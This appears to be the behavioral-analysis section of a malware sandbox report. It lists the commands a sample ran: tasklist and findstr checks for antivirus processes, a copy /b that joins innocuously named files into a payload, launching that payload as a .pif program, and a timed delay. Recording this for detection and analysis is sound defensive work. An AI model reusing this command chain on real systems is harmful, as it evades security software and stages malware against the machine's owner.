Behavioral Analysis

tasklist.exe tasklist

findstr.exe findstr /I "wrsa.exe opssvc.exe"

tasklist.exe tasklist

findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"

cmd.exe cmd /c md 473722

findstr.exe findstr /V "LucasAlliedFooGraph" Armor

cmd.exe cmd /c copy /b Edinburgh + Elliott + Luxembourg + Calm + Circumstances + Holders 473722\f

Instrumental.pif Instrumental.pif f

choice.exe choice /d y /t 5